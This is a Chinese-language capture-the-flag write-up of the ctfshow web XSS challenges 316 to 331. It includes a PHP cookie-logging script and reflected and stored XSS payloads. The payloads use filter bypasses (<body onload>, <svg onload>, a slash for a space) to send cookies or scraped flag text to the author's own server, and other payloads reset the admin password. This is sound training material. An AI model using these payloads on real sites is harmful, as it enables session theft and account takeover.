ctfshow-web[XSS]
文章目录
参考文献:https://xz.aliyun.com/t/4067
准备:
一台服务器
本地:
xshell7
xftp7
利用xshell7连接到服务器后,打开xtfp7即可
316-反射型-直接远程调用
打开页面后,发现输入什么就输出什么。输入经典的跨站语句<script>alert(1)</script>
,观察是否出现弹窗,来判断是否执行JS语句
出现弹窗->存在跨站 { 题目的意思就是我们生成Xss链接盗取cookie,后台会有机器人自动点击 }
在服务器准备一个接收文件 接收cookie <-get.php
<?php
$cookie=$_GET['c'];
$myfile = fopen("cookie.txt", "w+");
fwrite($myfile, $cookie);
fclose($myfile);
?>
js中获取cookie的代码:document.cookie
window.location.href:获取地址链接
<script>window.location.href='http://自己的服务器地址/get.php?c='+document.cookie</script>
<script>window.location.href='http://www.jiafan.fun/get.php?c='+document.cookie</script>
回车,机器人会访问这个地址,就会将他的cookie发送到你自己的服务器上,刷新->出现cookie.txt
打开cookie.txt->拿到flag:ctfshow{7006affd-be48-42ca-ab0d-b3c1113734fe}
317-反射型-过滤
先按照316关代码进行测试: <script>window.location.href='http://www.jiafan.fun/get.php?c='+document.cookie</script>
发现页面并没有跳转->说明有过滤
尝试去掉<script>
-> 发现代码可以正常显示 -> 说明过滤了<script>
可以使用https://xz.aliyun.com/t/4067 链接中的其他标签进行绕过,如:<img>
,<form>
,<input>
等
我们使用,发现可以弹窗—>说明没有过滤
<body/onload=alert("xss");>
<body/onload=window.location.href='http://www.jiafan.fun/get.php?c='+document.cookie;>
回车,页面跳转,刷新服务器->cookie.txt
打开cookie.txt->拿到flag:
318-反射型-过滤
尝试<img>
,<script>
,<body>
发现都被过滤,所以我们使用<svg>
标签进行绕过
<svg onload=alert("xss");>
<svg onload="window.location.href='http://www.jiafan.fun/get.php?c='+document.cookie;">
回车,页面跳转,刷新服务器->cookie.txt。打开cookie.txt->拿到flag:
319-反射型-过滤(同318)
尝试,
<svg onload=alert("xss");>
<svg onload="window.location.href='http://www.jiafan.fun/get.php?c='+document.cookie;">
回车,页面跳转,刷新服务器->cookie.txt。打开cookie.txt->拿到flag:ctfshow{19e8e0d6-4ab9-4221-a61d-d3191724db01}
320-326反射型-过滤空格
利用219关语句进行尝试,发现并不跳转->进行了过滤,但是我们输入svgonload却可以正常显示代码->过滤了 空格
过滤空格用/
代替空格
<svg/onload="window.location.href='http://www.jiafan.fun/get.php?c='+document.cookie;">
回车,页面跳转,刷新服务器->cookie.txt。打开cookie.txt->拿到flag:
327-存储型-无过滤
真实模拟XSS跨站的实例,,按照提示填写信息(收件人好像必须是admin),在内容框写入跨站代码->提交
<script>window.location.href='http://www.jiafan.fun/get.php?c='+document.cookie</script>
页面跳转
刷新服务器->cookie.txt。打开cookie.txt->拿到flag:
328-存储型-注册插入JS
打开发现有登录,有注册 -> 注册一个账号
登录->查看用户管理,发现并不是管理员
xss如何实现管理员->获取管理员的cookie->用管理员的cookie实现登录
思路:
后台管理员有功能页面,能够查看注册用户的账号密码
如果我将注册的账号密码改成JS代码(获取cookie),在管理员查看账号密码的时候就会触发JS
重新注册一个账号,密码是
<script>window.location.href='http://www.jiafan.fun/get.php?c='+document.cookie</script>
登录后,在服务器里查看cookie.txt,拿到session
用session访问地址模拟管理员登录,打开burpsuite,抓包,更改cookie(注:服务器里的cookie隔一段时间会更新,注意刷新)->forward
再次更改cookie->forward
发现已成功登录管理员页面,拿到flag
329-存储型-失效凭据需1步完成所需操作
利用328关思路进行会显示你不是管理员
原因:session失效->很短时间就会更新(还来不及更改 就会更新)
解决:利用js获取当前页面源代码
<script>
$('.laytable-cell-1-0-1').each(function(index,value){ //获取标签下的值(flag)
if (value.innerHTML.indexOf('ctf'+'show'+'{')>-1){ //读取带有ctf、show、{ 的关键字
window.location.href='http://www.jiafan.fun/get.php?c='+value.innerHTML; //发送到自己的服务器
}
});
</script>
如何查看标签的值:在密码处右击->检查->查看JS代码
发现密码在layui-table-cell laytable-cell-1-0-1标签下显示
重新进行注册->密码为script代码
<script>
$('.laytable-cell-1-0-1').each(function(index,value){
if (value.innerHTML.indexOf('ctf'+'show'+'{')>-1){
window.location.href='http://www.jiafan.fun/get.php?c='+value.innerHTML;
}
});
</script>
登录->在服务器查看cookie,拿到flag:
330-存储型-借助修改密码重置管理员密码(GET)
相比上一关多了一个修改密码,注册->登录->修改密码(123)进行抓包
并没有用户名的验证,直接更改正在登录的账号,也就是说,在登录状态下直接访问http://e01ad944-8567-4613-9df7-52a35c046875.challenge.ctf.show/change.php?p=123
这个地址就会直接修改密码为123
思路:
后台管理员有功能页面,能够查看注册用户的账号密码
其中有一个修改的密码,(抓包分析,需用户登录状态)通过访问一个地址即可修改密码
攻击:注册一个用户名和密码存在跳转修改密码的URL地址链接
如果管理员登陆了后台,然后查看了用户的注册密码信息,就可以尝试重置密码
将访问地址的数据包写成JS语句代码,写到注册用户上如果管理员登录,查看用户的账号信息->触发JS代码->自动跳转到一个重置密码的地址链接上,重置管理员密码
<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script> //管理员一般都会在本地访问,所以使用127本地地址
用代码进行注册
登录(触发JS代码,机器人触发后修改管理员密码)->退出->使用修改的管理员账号密码登录。账号:admin,密码:123(如果出现登录,错误多登几次)
登录成功后点击用户管理,拿到flag
331-存储型-借助修改密码重置管理员密码(P0ST)
注册->登录->修改密码(抓包)->发现是POST请求
思路:
js->post提交数据包代码
<script>$.ajax ({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}});</script>
用代码进行注册
登录(触发JS代码,机器人触发后修改管理员密码)->退出->使用修改的管理员账号密码登录。账号:admin,密码:123(如果出现登录,错误多登几次)
登录成功后点击用户管理,拿到flag